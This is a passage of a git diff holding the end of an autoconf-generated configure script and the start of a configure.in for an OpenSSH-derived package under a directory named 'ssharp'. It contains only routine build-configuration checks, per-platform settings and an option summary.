"$conf_wtmp_location"; then + if test x"$system_wtmp_path" = x"no" ; then + for f in /usr/adm/wtmp /var/log/wtmp; do + if test -f $f ; then + conf_wtmp_location=$f + fi + done + if test -z "$conf_wtmp_location"; then + cat >> confdefs.h <<\EOF +#define DISABLE_WTMP 1 +EOF + + fi + fi +fi +if test -n "$conf_wtmp_location"; then + cat >> confdefs.h <&6 +echo "configure:8502: checking if your system defines UTMPX_FILE" >&5 +cat > conftest.$ac_ext < +#include +#ifdef HAVE_UTMPX_H +#include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *utmpx = UTMPX_FILE; +; return 0; } +EOF +if { (eval echo configure:8520: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + echo "$ac_t""no" 1>&6 + system_utmpx_path=no + +fi +rm -f conftest* +if test -z "$conf_utmpx_location"; then + if test x"$system_utmpx_path" = x"no" ; then + cat >> confdefs.h <<\EOF +#define DISABLE_UTMPX 1 +EOF + + fi +else + cat >> confdefs.h <&6 +echo "configure:8547: checking if your system defines WTMPX_FILE" >&5 +cat > conftest.$ac_ext < +#include +#ifdef HAVE_UTMPX_H +#include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *wtmpx = WTMPX_FILE; +; return 0; } +EOF +if { (eval echo configure:8565: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + echo "$ac_t""no" 1>&6 + system_wtmpx_path=no + +fi +rm -f conftest* +if test -z "$conf_wtmpx_location"; then + if test x"$system_wtmpx_path" = x"no" ; then + cat >> confdefs.h <<\EOF +#define DISABLE_WTMPX 1 +EOF + + fi +else + cat >> confdefs.h <> confdefs.h <&2 +fi + +echo $ac_n "checking for Cygwin environment""... $ac_c" 1>&6 +echo "configure:8617: checking for Cygwin environment" >&5 +if eval "test \"`echo '$''{'ac_cv_cygwin'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext <&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_cygwin=yes +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_cygwin=no +fi +rm -f conftest* +rm -f conftest* +fi + +echo "$ac_t""$ac_cv_cygwin" 1>&6 +CYGWIN= +test "$ac_cv_cygwin" = yes && CYGWIN=yes +echo $ac_n "checking for mingw32 environment""... $ac_c" 1>&6 +echo "configure:8650: checking for mingw32 environment" >&5 +if eval "test \"`echo '$''{'ac_cv_mingw32'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext <&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_mingw32=yes +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_mingw32=no +fi +rm -f conftest* +rm -f conftest* +fi + +echo "$ac_t""$ac_cv_mingw32" 1>&6 +MINGW32= +test "$ac_cv_mingw32" = yes && MINGW32=yes + + +echo $ac_n "checking for executable suffix""... $ac_c" 1>&6 +echo "configure:8681: checking for executable suffix" >&5 +if eval "test \"`echo '$''{'ac_cv_exeext'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$CYGWIN" = yes || test "$MINGW32" = yes; then + ac_cv_exeext=.exe +else + rm -f conftest* + echo 'int main () { return 0; }' > conftest.$ac_ext + ac_cv_exeext= + if { (eval echo configure:8691: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; }; then + for file in conftest.*; do + case $file in + *.c | *.o | *.obj) ;; + *) ac_cv_exeext=`echo $file | sed -e s/conftest//` ;; + esac + done + else + { echo "configure: error: installation or configuration problem: compiler cannot create executables." 1>&2; exit 1; } + fi + rm -f conftest* + test x"${ac_cv_exeext}" = x && ac_cv_exeext=no +fi +fi + +EXEEXT="" +test x"${ac_cv_exeext}" != xno && EXEEXT=${ac_cv_exeext} +echo "$ac_t""${ac_cv_exeext}" 1>&6 +ac_exeext=$EXEEXT + + +trap '' 1 2 15 +cat > confcache <<\EOF +# This file is a shell script that caches the results of configure +# tests run on this system so they can be shared between configure +# scripts and configure runs. It is not useful on other systems. +# If it contains results you don't want to keep, you may remove or edit it. +# +# By default, configure uses ./config.cache as the cache file, +# creating it if it does not exist already. You can give configure +# the --cache-file=FILE option to use a different cache file; that is +# what configure does when it calls configure scripts in +# subdirectories, so they share the cache. +# Giving --cache-file=/dev/null disables caching, for debugging configure. +# config.status only pays attention to the cache file if you give it the +# --recheck option to rerun configure. +# +EOF +# The following way of writing the cache mishandles newlines in values, +# but we know of no workaround that is simple, portable, and efficient. +# So, don't put newlines in cache variables' values. +# Ultrix sh set writes to stderr and can't be redirected directly, +# and sets the high bit in the cache file unless we assign to the vars. +(set) 2>&1 | + case `(ac_space=' '; set | grep ac_space) 2>&1` in + *ac_space=\ *) + # `set' does not quote correctly, so add quotes (double-quote substitution + # turns \\\\ into \\, and sed turns \\ into \). + sed -n \ + -e "s/'/'\\\\''/g" \ + -e "s/^\\([a-zA-Z0-9_]*_cv_[a-zA-Z0-9_]*\\)=\\(.*\\)/\\1=\${\\1='\\2'}/p" + ;; + *) + # `set' quotes correctly as required by POSIX, so do not add quotes. + sed -n -e 's/^\([a-zA-Z0-9_]*_cv_[a-zA-Z0-9_]*\)=\(.*\)/\1=${\1=\2}/p' + ;; + esac >> confcache +if cmp -s $cache_file confcache; then + : +else + if test -w $cache_file; then + echo "updating cache $cache_file" + cat confcache > $cache_file + else + echo "not updating unwritable cache $cache_file" + fi +fi +rm -f confcache + +trap 'rm -fr conftest* confdefs* core core.* *.core $ac_clean_files; exit 1' 1 2 15 + +test "x$prefix" = xNONE && prefix=$ac_default_prefix +# Let make expand exec_prefix. +test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' + +# Any assignment to VPATH causes Sun make to only execute +# the first set of double-colon rules, so remove it if not needed. +# If there is a colon in the path, we need to keep it. +if test "x$srcdir" = x.; then + ac_vpsub='/^[ ]*VPATH[ ]*=[^:]*$/d' +fi + +trap 'rm -f $CONFIG_STATUS conftest*; exit 1' 1 2 15 + +DEFS=-DHAVE_CONFIG_H + +# Without the "./", some shells look in PATH for config.status. +: ${CONFIG_STATUS=./config.status} + +echo creating $CONFIG_STATUS +rm -f $CONFIG_STATUS +cat > $CONFIG_STATUS </dev/null | sed 1q`: +# +# $0 $ac_configure_args +# +# Compiler output produced by configure, useful for debugging +# configure, is in ./config.log if it exists. + +ac_cs_usage="Usage: $CONFIG_STATUS [--recheck] [--version] [--help]" +for ac_option +do + case "\$ac_option" in + -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) + echo "running \${CONFIG_SHELL-/bin/sh} $0 $ac_configure_args --no-create --no-recursion" + exec \${CONFIG_SHELL-/bin/sh} $0 $ac_configure_args --no-create --no-recursion ;; + -version | --version | --versio | --versi | --vers | --ver | --ve | --v) + echo "$CONFIG_STATUS generated by autoconf version 2.13" + exit 0 ;; + -help | --help | --hel | --he | --h) + echo "\$ac_cs_usage"; exit 0 ;; + *) echo "\$ac_cs_usage"; exit 1 ;; + esac +done + +ac_given_srcdir=$srcdir +ac_given_INSTALL="$INSTALL" + +trap 'rm -fr `echo "Makefile openbsd-compat/Makefile ssh_prng_cmds config.h" | sed "s/:[^ ]*//g"` conftest*; exit 1' 1 2 15 +EOF +cat >> $CONFIG_STATUS < conftest.subs <<\\CEOF +$ac_vpsub +$extrasub +s%@SHELL@%$SHELL%g +s%@CFLAGS@%$CFLAGS%g +s%@CPPFLAGS@%$CPPFLAGS%g +s%@CXXFLAGS@%$CXXFLAGS%g +s%@FFLAGS@%$FFLAGS%g +s%@DEFS@%$DEFS%g +s%@LDFLAGS@%$LDFLAGS%g +s%@LIBS@%$LIBS%g +s%@exec_prefix@%$exec_prefix%g +s%@prefix@%$prefix%g +s%@program_transform_name@%$program_transform_name%g +s%@bindir@%$bindir%g +s%@sbindir@%$sbindir%g +s%@libexecdir@%$libexecdir%g +s%@datadir@%$datadir%g +s%@sysconfdir@%$sysconfdir%g +s%@sharedstatedir@%$sharedstatedir%g +s%@localstatedir@%$localstatedir%g +s%@libdir@%$libdir%g +s%@includedir@%$includedir%g +s%@oldincludedir@%$oldincludedir%g +s%@infodir@%$infodir%g +s%@mandir@%$mandir%g +s%@CC@%$CC%g +s%@host@%$host%g +s%@host_alias@%$host_alias%g +s%@host_cpu@%$host_cpu%g +s%@host_vendor@%$host_vendor%g +s%@host_os@%$host_os%g +s%@CPP@%$CPP%g +s%@RANLIB@%$RANLIB%g +s%@INSTALL_PROGRAM@%$INSTALL_PROGRAM%g +s%@INSTALL_SCRIPT@%$INSTALL_SCRIPT%g +s%@INSTALL_DATA@%$INSTALL_DATA%g +s%@AR@%$AR%g +s%@PERL@%$PERL%g +s%@ENT@%$ENT%g +s%@FILEPRIV@%$FILEPRIV%g +s%@TEST_MINUS_S_SH@%$TEST_MINUS_S_SH%g +s%@LOGIN_PROGRAM_FALLBACK@%$LOGIN_PROGRAM_FALLBACK%g +s%@LD@%$LD%g +s%@NO_SFTP@%$NO_SFTP%g +s%@rsh_path@%$rsh_path%g +s%@xauth_path@%$xauth_path%g +s%@XAUTH_PATH@%$XAUTH_PATH%g +s%@RANDOM_POOL@%$RANDOM_POOL%g +s%@PROG_LS@%$PROG_LS%g +s%@PROG_NETSTAT@%$PROG_NETSTAT%g +s%@PROG_ARP@%$PROG_ARP%g +s%@PROG_IFCONFIG@%$PROG_IFCONFIG%g +s%@PROG_PS@%$PROG_PS%g +s%@PROG_W@%$PROG_W%g +s%@PROG_WHO@%$PROG_WHO%g +s%@PROG_LAST@%$PROG_LAST%g +s%@PROG_LASTLOG@%$PROG_LASTLOG%g +s%@PROG_DF@%$PROG_DF%g +s%@PROG_VMSTAT@%$PROG_VMSTAT%g +s%@PROG_UPTIME@%$PROG_UPTIME%g +s%@PROG_IPCS@%$PROG_IPCS%g +s%@PROG_TAIL@%$PROG_TAIL%g +s%@INSTALL_SSH_PRNG_CMDS@%$INSTALL_SSH_PRNG_CMDS%g +s%@NROFF@%$NROFF%g +s%@MANTYPE@%$MANTYPE%g +s%@mansubdir@%$mansubdir%g +s%@user_path@%$user_path%g +s%@SSHMODE@%$SSHMODE%g +s%@piddir@%$piddir%g +s%@EXEEXT@%$EXEEXT%g + +CEOF +EOF + +cat >> $CONFIG_STATUS <<\EOF + +# Split the substitutions into bite-sized pieces for seds with +# small command number limits, like on Digital OSF/1 and HP-UX. +ac_max_sed_cmds=90 # Maximum number of lines to put in a sed script. +ac_file=1 # Number of current file. +ac_beg=1 # First line for current file. +ac_end=$ac_max_sed_cmds # Line after last line for current file. +ac_more_lines=: +ac_sed_cmds="" +while $ac_more_lines; do + if test $ac_beg -gt 1; then + sed "1,${ac_beg}d; ${ac_end}q" conftest.subs > conftest.s$ac_file + else + sed "${ac_end}q" conftest.subs > conftest.s$ac_file + fi + if test ! -s conftest.s$ac_file; then + ac_more_lines=false + rm -f conftest.s$ac_file + else + if test -z "$ac_sed_cmds"; then + ac_sed_cmds="sed -f conftest.s$ac_file" + else + ac_sed_cmds="$ac_sed_cmds | sed -f conftest.s$ac_file" + fi + ac_file=`expr $ac_file + 1` + ac_beg=$ac_end + ac_end=`expr $ac_end + $ac_max_sed_cmds` + fi +done +if test -z "$ac_sed_cmds"; then + ac_sed_cmds=cat +fi +EOF + +cat >> $CONFIG_STATUS <> $CONFIG_STATUS <<\EOF +for ac_file in .. $CONFIG_FILES; do if test "x$ac_file" != x..; then + # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". + case "$ac_file" in + *:*) ac_file_in=`echo "$ac_file"|sed 's%[^:]*:%%'` + ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;; + *) ac_file_in="${ac_file}.in" ;; + esac + + # Adjust a relative srcdir, top_srcdir, and INSTALL for subdirectories. + + # Remove last slash and all that follows it. Not all systems have dirname. + ac_dir=`echo $ac_file|sed 's%/[^/][^/]*$%%'` + if test "$ac_dir" != "$ac_file" && test "$ac_dir" != .; then + # The file is in a subdirectory. + test ! -d "$ac_dir" && mkdir "$ac_dir" + ac_dir_suffix="/`echo $ac_dir|sed 's%^\./%%'`" + # A "../" for each directory in $ac_dir_suffix. + ac_dots=`echo $ac_dir_suffix|sed 's%/[^/]*%../%g'` + else + ac_dir_suffix= ac_dots= + fi + + case "$ac_given_srcdir" in + .) srcdir=. + if test -z "$ac_dots"; then top_srcdir=. + else top_srcdir=`echo $ac_dots|sed 's%/$%%'`; fi ;; + /*) srcdir="$ac_given_srcdir$ac_dir_suffix"; top_srcdir="$ac_given_srcdir" ;; + *) # Relative path. + srcdir="$ac_dots$ac_given_srcdir$ac_dir_suffix" + top_srcdir="$ac_dots$ac_given_srcdir" ;; + esac + + case "$ac_given_INSTALL" in + [/$]*) INSTALL="$ac_given_INSTALL" ;; + *) INSTALL="$ac_dots$ac_given_INSTALL" ;; + esac + + echo creating "$ac_file" + rm -f "$ac_file" + configure_input="Generated automatically from `echo $ac_file_in|sed 's%.*/%%'` by configure." + case "$ac_file" in + *Makefile*) ac_comsub="1i\\ +# $configure_input" ;; + *) ac_comsub= ;; + esac + + ac_file_inputs=`echo $ac_file_in|sed -e "s%^%$ac_given_srcdir/%" -e "s%:% $ac_given_srcdir/%g"` + sed -e "$ac_comsub +s%@configure_input@%$configure_input%g +s%@srcdir@%$srcdir%g +s%@top_srcdir@%$top_srcdir%g +s%@INSTALL@%$INSTALL%g +" $ac_file_inputs | (eval "$ac_sed_cmds") > $ac_file +fi; done +rm -f conftest.s* + +# These sed commands are passed to sed as "A NAME B NAME C VALUE D", where +# NAME is the cpp macro being defined and VALUE is the value it is being given. +# +# ac_d sets the value in "#define NAME VALUE" lines. +ac_dA='s%^\([ ]*\)#\([ ]*define[ ][ ]*\)' +ac_dB='\([ ][ ]*\)[^ ]*%\1#\2' +ac_dC='\3' +ac_dD='%g' +# ac_u turns "#undef NAME" with trailing blanks into "#define NAME VALUE". +ac_uA='s%^\([ ]*\)#\([ ]*\)undef\([ ][ ]*\)' +ac_uB='\([ ]\)%\1#\2define\3' +ac_uC=' ' +ac_uD='\4%g' +# ac_e turns "#undef NAME" without trailing blanks into "#define NAME VALUE". +ac_eA='s%^\([ ]*\)#\([ ]*\)undef\([ ][ ]*\)' +ac_eB='$%\1#\2define\3' +ac_eC=' ' +ac_eD='%g' + +if test "${CONFIG_HEADERS+set}" != set; then +EOF +cat >> $CONFIG_STATUS <> $CONFIG_STATUS <<\EOF +fi +for ac_file in .. $CONFIG_HEADERS; do if test "x$ac_file" != x..; then + # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". + case "$ac_file" in + *:*) ac_file_in=`echo "$ac_file"|sed 's%[^:]*:%%'` + ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;; + *) ac_file_in="${ac_file}.in" ;; + esac + + echo creating $ac_file + + rm -f conftest.frag conftest.in conftest.out + ac_file_inputs=`echo $ac_file_in|sed -e "s%^%$ac_given_srcdir/%" -e "s%:% $ac_given_srcdir/%g"` + cat $ac_file_inputs > conftest.in + +EOF + +# Transform confdefs.h into a sed script conftest.vals that substitutes +# the proper values into config.h.in to produce config.h. And first: +# Protect against being on the right side of a sed subst in config.status. +# Protect against being in an unquoted here document in config.status. +rm -f conftest.vals +cat > conftest.hdr <<\EOF +s/[\\&%]/\\&/g +s%[\\$`]%\\&%g +s%#define \([A-Za-z_][A-Za-z0-9_]*\) *\(.*\)%${ac_dA}\1${ac_dB}\1${ac_dC}\2${ac_dD}%gp +s%ac_d%ac_u%gp +s%ac_u%ac_e%gp +EOF +sed -n -f conftest.hdr confdefs.h > conftest.vals +rm -f conftest.hdr + +# This sed command replaces #undef with comments. This is necessary, for +# example, in the case of _POSIX_SOURCE, which is predefined and required +# on some systems where configure will not decide to define it. +cat >> conftest.vals <<\EOF +s%^[ ]*#[ ]*undef[ ][ ]*[a-zA-Z_][a-zA-Z_0-9]*%/* & */% +EOF + +# Break up conftest.vals because some shells have a limit on +# the size of here documents, and old seds have small limits too. + +rm -f conftest.tail +while : +do + ac_lines=`grep -c . conftest.vals` + # grep -c gives empty output for an empty file on some AIX systems. + if test -z "$ac_lines" || test "$ac_lines" -eq 0; then break; fi + # Write a limited-size here document to conftest.frag. + echo ' cat > conftest.frag <> $CONFIG_STATUS + sed ${ac_max_here_lines}q conftest.vals >> $CONFIG_STATUS + echo 'CEOF + sed -f conftest.frag conftest.in > conftest.out + rm -f conftest.in + mv conftest.out conftest.in +' >> $CONFIG_STATUS + sed 1,${ac_max_here_lines}d conftest.vals > conftest.tail + rm -f conftest.vals + mv conftest.tail conftest.vals +done +rm -f conftest.vals + +cat >> $CONFIG_STATUS <<\EOF + rm -f conftest.frag conftest.h + echo "/* $ac_file. Generated automatically by configure. */" > conftest.h + cat conftest.in >> conftest.h + rm -f conftest.in + if cmp -s $ac_file conftest.h 2>/dev/null; then + echo "$ac_file is unchanged" + rm -f conftest.h + else + # Remove last slash and all that follows it. Not all systems have dirname. + ac_dir=`echo $ac_file|sed 's%/[^/][^/]*$%%'` + if test "$ac_dir" != "$ac_file" && test "$ac_dir" != .; then + # The file is in a subdirectory. + test ! -d "$ac_dir" && mkdir "$ac_dir" + fi + rm -f $ac_file + mv conftest.h $ac_file + fi +fi; done + +EOF +cat >> $CONFIG_STATUS <> $CONFIG_STATUS <<\EOF + +exit 0 +EOF +chmod +x $CONFIG_STATUS +rm -fr confdefs* $ac_clean_files +test "$no_create" = yes || ${CONFIG_SHELL-/bin/sh} $CONFIG_STATUS || exit 1 + + +# Print summary of options + +if test ! -z "$RANDOM_POOL" ; then + RAND_MSG="Device ($RANDOM_POOL)" +else + if test ! -z "$PRNGD_PORT" ; then + RAND_MSG="PRNGD/EGD (port localhost:$PRNGD_PORT)" + elif test ! -z "$PRNGD_SOCKET" ; then + RAND_MSG="PRNGD/EGD (socket $PRNGD_SOCKET)" + else + RAND_MSG="Builtin (timeout $entropy_timeout)" + BUILTIN_RNG=1 + fi +fi + +# Someone please show me a better way :) +A=`eval echo ${prefix}` ; A=`eval echo ${A}` +B=`eval echo ${bindir}` ; B=`eval echo ${B}` +C=`eval echo ${sbindir}` ; C=`eval echo ${C}` +D=`eval echo ${sysconfdir}` ; D=`eval echo ${D}` +E=`eval echo ${libexecdir}/ssh-askpass` ; E=`eval echo ${E}` +F=`eval echo ${mandir}/${mansubdir}X` ; F=`eval echo ${F}` +G=`eval echo ${piddir}` ; G=`eval echo ${G}` +H=`eval echo ${user_path}` ; H=`eval echo ${H}` + +echo "" +echo "OpenSSH has been configured with the following options:" +echo " User binaries: $B" +echo " System binaries: $C" +echo " Configuration files: $D" +echo " Askpass program: $E" +echo " Manual pages: $F" +echo " PID file: $G" +echo " sshd default user PATH: $H" +echo " Random number collection: $RAND_MSG" +echo " Manpage format: $MANTYPE" +echo " PAM support: ${PAM_MSG}" +echo " KerberosIV support: $KRB4_MSG" +echo " AFS support: $AFS_MSG" +echo " S/KEY support: $SKEY_MSG" +echo " TCP Wrappers support: $TCPW_MSG" +echo " MD5 password support: $MD5_MSG" +echo " IP address in \$DISPLAY hack: $DISPLAY_HACK_MSG" +echo " Use IPv4 by default hack: $IPV4_HACK_MSG" +echo " Translate v4 in v6 hack: $IPV4_IN6_HACK_MSG" + +if test ! -z "$bsd_auth"; then + echo " BSD Auth support: yes" +fi + +echo "" + +echo " Host: ${host}" +echo " Compiler: ${CC}" +echo " Compiler flags: ${CFLAGS}" +echo "Preprocessor flags: ${CPPFLAGS}" +echo " Linker flags: ${LDFLAGS}" +echo " Libraries: ${LIBS}" + +echo "" + +if test "x$PAM_MSG" = "xyes" ; then + echo "PAM is enabled. You may need to install a PAM control file for sshd," + echo "otherwise password authentication may fail. Example PAM control files" + echo "can be found in the contrib/ subdirectory" + echo "" +fi + +if test ! -z "$BUILTIN_RNG" ; then + echo "WARNING: you are using the builtin random number collection service." + echo "Please read WARNING.RNG and request that your OS vendor includes" + echo "/dev/random in future versions of their OS." + echo "" +fi + +if test ! -z "$NO_SFTP"; then + echo "sftp-server will be disabled. Your compiler does not support" + echo "64bit integers." + echo "" +fi + diff --git a/other/ssharp/configure.in b/other/ssharp/configure.in new file mode 100644 index 0000000..c05b677 --- /dev/null +++ b/other/ssharp/configure.in @@ -0,0 +1,1966 @@ +# $Id: configure.in,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ + +AC_INIT(ssh.c) + +AC_CONFIG_HEADER(config.h) +AC_PROG_CC +AC_CANONICAL_HOST +AC_C_BIGENDIAN + +# Checks for programs. +AC_PROG_CPP +AC_PROG_RANLIB +AC_PROG_INSTALL +AC_PATH_PROG(AR, ar) +AC_PATH_PROGS(PERL, perl5 perl) +AC_SUBST(PERL) +AC_PATH_PROG(ENT, ent) +AC_SUBST(ENT) +AC_PATH_PROGS(FILEPRIV, filepriv, true, /sbin:/usr/sbin) +AC_PATH_PROG(TEST_MINUS_S_SH, bash) +AC_PATH_PROG(TEST_MINUS_S_SH, ksh) +AC_PATH_PROG(TEST_MINUS_S_SH, sh) + +if test -z "$AR" ; then + AC_MSG_ERROR([*** 'ar' missing, please install or fix your \$PATH ***]) +fi + +# Use LOGIN_PROGRAM from environment if possible +if test ! -z "$LOGIN_PROGRAM" ; then + AC_DEFINE_UNQUOTED(LOGIN_PROGRAM_FALLBACK, "$LOGIN_PROGRAM") +else + # Search for login + AC_PATH_PROG(LOGIN_PROGRAM_FALLBACK, login) + if test ! -z "$LOGIN_PROGRAM_FALLBACK" ; then + AC_DEFINE_UNQUOTED(LOGIN_PROGRAM_FALLBACK, "$LOGIN_PROGRAM_FALLBACK") + fi +fi + +if test -z "$LD" ; then + LD=$CC +fi +AC_SUBST(LD) + +# C Compiler features +AC_C_INLINE +if test "$GCC" = "yes"; then + CFLAGS="$CFLAGS -Wall" +fi + +# Check for some target-specific stuff +case "$host" in +*-*-aix*) + AFS_LIBS="-lld" + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + if (test "$LD" != "gcc" && test -z "$blibpath"); then + blibpath="/usr/lib:/lib:/usr/local/lib" + fi + AC_CHECK_FUNC(authenticate, [AC_DEFINE(WITH_AIXAUTHENTICATE)]) + AC_DEFINE(BROKEN_GETADDRINFO) + dnl AIX handles lastlog as part of its login message + AC_DEFINE(DISABLE_LASTLOG) + ;; +*-*-cygwin*) + LIBS="$LIBS -lregex /usr/lib/textmode.o" + AC_DEFINE(HAVE_CYGWIN) + AC_DEFINE(DISABLE_SHADOW) + AC_DEFINE(IPV4_DEFAULT) + AC_DEFINE(IP_TOS_IS_BROKEN) + AC_DEFINE(NO_X11_UNIX_SOCKETS) + no_libsocket=1 + no_libnsl=1 + ;; +*-*-dgux*) + AC_DEFINE(IP_TOS_IS_BROKEN) + ;; +*-*-hpux10*) + if test -z "$GCC"; then + CFLAGS="$CFLAGS -Ae" + fi + CPPFLAGS="$CPPFLAGS -D_HPUX_SOURCE" + IPADDR_IN_DISPLAY=yes + AC_DEFINE(USE_PIPES) + AC_DEFINE(DISABLE_SHADOW) + AC_DEFINE(DISABLE_UTMP) + AC_DEFINE(SPT_TYPE,SPT_PSTAT) + LIBS="$LIBS -lsec" + ;; +*-*-hpux11*) + CPPFLAGS="$CPPFLAGS -D_HPUX_SOURCE" + IPADDR_IN_DISPLAY=yes + AC_DEFINE(PAM_SUN_CODEBASE) + AC_DEFINE(USE_PIPES) + AC_DEFINE(DISABLE_SHADOW) + AC_DEFINE(DISABLE_UTMP) + AC_DEFINE(SPT_TYPE,SPT_PSTAT) + LIBS="$LIBS -lsec" + ;; +*-*-irix5*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS" + PATH="$PATH:/usr/etc" + no_libsocket=1 + no_libnsl=1 + AC_DEFINE(BROKEN_INET_NTOA) + ;; +*-*-irix6*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS" + PATH="$PATH:/usr/etc" + AC_DEFINE(WITH_IRIX_ARRAY) + AC_DEFINE(WITH_IRIX_PROJECT) + AC_DEFINE(WITH_IRIX_AUDIT) + AC_CHECK_FUNC(jlimit_startjob, [AC_DEFINE(WITH_IRIX_JOBS)]) + no_libsocket=1 + no_libnsl=1 + AC_DEFINE(BROKEN_INET_NTOA) + ;; +*-*-linux*) + no_dev_ptmx=1 + check_for_libcrypt_later=1 + AC_DEFINE(DONT_TRY_OTHER_AF) + AC_DEFINE(PAM_TTY_KLUDGE) + inet6_default_4in6=yes + ;; +mips-sony-bsd|mips-sony-newsos4) + AC_DEFINE(HAVE_NEWS4) + SONY=1 + AC_CHECK_LIB(iberty, xatexit, AC_DEFINE(HAVE_XATEXIT), + AC_MSG_ERROR([*** libiberty missing - please install first or check config.log ***]) + ) + ;; +*-*-netbsd*) + need_dash_r=1 + ;; +*-*-freebsd*) + check_for_libcrypt_later=1 + ;; +*-next-*) + conf_lastlog_location="/usr/adm/lastlog" + conf_utmp_location=/etc/utmp + conf_wtmp_location=/usr/adm/wtmp + MAIL=/usr/spool/mail + AC_DEFINE(HAVE_NEXT) + AC_DEFINE(BROKEN_REALPATH) + AC_DEFINE(USE_PIPES) + AC_DEFINE(BROKEN_SAVED_UIDS) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + CFLAGS="$CFLAGS" + ;; +*-*-solaris*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib -R/usr/local/lib" + need_dash_r=1 + AC_DEFINE(PAM_SUN_CODEBASE) + # hardwire lastlog location (can't detect it on some versions) + conf_lastlog_location="/var/adm/lastlog" + AC_MSG_CHECKING(for obsolete utmp and wtmp in solaris2.x) + sol2ver=`echo "$host"| sed -e 's/.*[[0-9]]\.//'` + if test "$sol2ver" -ge 8; then + AC_MSG_RESULT(yes) + AC_DEFINE(DISABLE_UTMP) + AC_DEFINE(DISABLE_WTMP) + else + AC_MSG_RESULT(no) + fi + ;; +*-*-sunos4*) + CPPFLAGS="$CPPFLAGS -DSUNOS4" + AC_CHECK_FUNCS(getpwanam) + AC_DEFINE(PAM_SUN_CODEBASE) + AC_DEFINE(HAVE_BOGUS_SYS_QUEUE_H) + conf_utmp_location=/etc/utmp + conf_wtmp_location=/var/adm/wtmp + conf_lastlog_location=/var/adm/lastlog + AC_DEFINE(USE_PIPES) + ;; +*-ncr-sysv*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + LIBS="$LIBS -lc89 -lnsl -lgen -lsocket" + AC_DEFINE(HAVE_BOGUS_SYS_QUEUE_H) + ;; +*-sni-sysv*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib -L/usr/ucblib" + IPADDR_IN_DISPLAY=yes + AC_DEFINE(USE_PIPES) + AC_DEFINE(IP_TOS_IS_BROKEN) + AC_DEFINE(HAVE_BOGUS_SYS_QUEUE_H) + LIBS="$LIBS -lgen -lnsl -lucb" + ;; +*-*-sysv4.2*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + enable_suid_ssh=no + AC_DEFINE(USE_PIPES) + ;; +*-*-sysv5*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + enable_suid_ssh=no + AC_DEFINE(USE_PIPES) + ;; +*-*-sysv*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + LIBS="$LIBS -lgen -lsocket" + ;; +*-*-sco3.2v4*) + CPPFLAGS="$CPPFLAGS -Dftruncate=chsize -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + LIBS="$LIBS -lgen -lsocket -los -lprot -lx -ltinfo -lm" + rsh_path="/usr/bin/rcmd" + RANLIB=true + no_dev_ptmx=1 + AC_DEFINE(BROKEN_SYS_TERMIO_H) + AC_DEFINE(USE_PIPES) + AC_DEFINE(HAVE_SCO_PROTECTED_PW) + AC_DEFINE(DISABLE_SHADOW) + AC_DEFINE(HAVE_BOGUS_SYS_QUEUE_H) + AC_DEFINE(BROKEN_SAVED_UIDS) + AC_CHECK_FUNCS(getluid setluid) + MANTYPE=man + ;; +*-*-sco3.2v5*) + CPPFLAGS="$CPPFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + LIBS="$LIBS -lprot -lx -ltinfo -lm" + no_dev_ptmx=1 + rsh_path="/usr/bin/rcmd" + AC_DEFINE(USE_PIPES) + AC_DEFINE(HAVE_SCO_PROTECTED_PW) + AC_DEFINE(DISABLE_SHADOW) + AC_DEFINE(HAVE_BOGUS_SYS_QUEUE_H) + AC_CHECK_FUNCS(getluid setluid) + MANTYPE=man + ;; +*-dec-osf*) + if test ! -z "USE_SIA" ; then + AC_MSG_CHECKING(for Digital Unix Security Integration Architecture) + if test -f /etc/sia/matrix.conf; then + AC_MSG_RESULT(yes) + AC_DEFINE(HAVE_OSF_SIA) + AC_DEFINE(DISABLE_LOGIN) + LIBS="$LIBS -lsecurity -ldb -lm -laud" + else + AC_MSG_RESULT(no) + fi + fi + ;; +esac + +# Allow user to specify flags +AC_ARG_WITH(cflags, + [ --with-cflags Specify additional 